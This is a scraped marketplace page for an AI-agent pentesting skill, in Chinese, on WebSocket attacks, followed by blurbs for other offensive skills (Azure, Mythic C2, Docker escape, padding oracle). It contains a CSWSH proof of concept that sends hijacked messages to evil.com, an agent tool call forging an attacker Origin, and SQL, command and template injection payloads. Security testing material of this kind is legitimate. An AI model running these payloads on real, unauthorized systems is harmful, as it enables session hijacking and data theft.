skills/exploit/web-method/websocket-attack/SKILL.md
WebSocket 安全测试。当目标使用 ws:// 或 wss:// 协议、页面 JS 中有 new WebSocket() 调用、或发现 101 Switching Protocols 响应时使用。覆盖 WS 劫持(CSWSH)、消息注入、认证绕过、信息泄露
npx skillsauth add wgpsec/AboutSecurity websocket-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
WebSocket 提供全双工通信,但安全机制常被忽略——没有同源策略的自动保护、没有 CSRF token 的标准实践。
在 JS 源码中搜索:
new WebSocket(ws:// 或 wss://socket.io(Socket.IO 库).onmessage, .send(Upgrade: websocket 头/ws, /websocket, /socket.io/, /cable(ActionCable)WebSocket 握手是 HTTP Upgrade 请求,浏览器会自动携带 Cookie。如果服务端不检查 Origin 头→可跨站劫持。
http_request url="http://target/ws" method="GET" headers={"Upgrade":"websocket","Connection":"Upgrade","Sec-WebSocket-Version":"13","Sec-WebSocket-Key":"dGhlIHNhbXBsZSBub25jZQ==","Origin":"https://evil.com"}
如果返回 101 → Origin 未校验 → 可劫持。
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send('{"action":"getProfile"}');
};
ws.onmessage = function(e) {
// 窃取数据
fetch("http://evil.com/log?d=" + encodeURIComponent(e.data));
};
</script>
WebSocket 消息通常是 JSON,测试注入:
SQL 注入:
{"action":"search","query":"' OR 1=1--"}
命令注入:
{"action":"ping","host":"127.0.0.1; cat /flag.txt"}
SSTI:
{"action":"render","template":"{{7*7}}"}
某些 WS 实现在握手时认证,但消息级别不检查权限:
WebSocket 常用于实时功能,可能泄露:
监听所有消息,不急于发送——有时被动监听就能获取敏感数据。
Socket.IO 使用自己的协议格式:
42["event_name",{data}](4=message, 2=event)/socket.io/?EIO=4&transport=polling/admin 命名空间试图访问管理功能testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能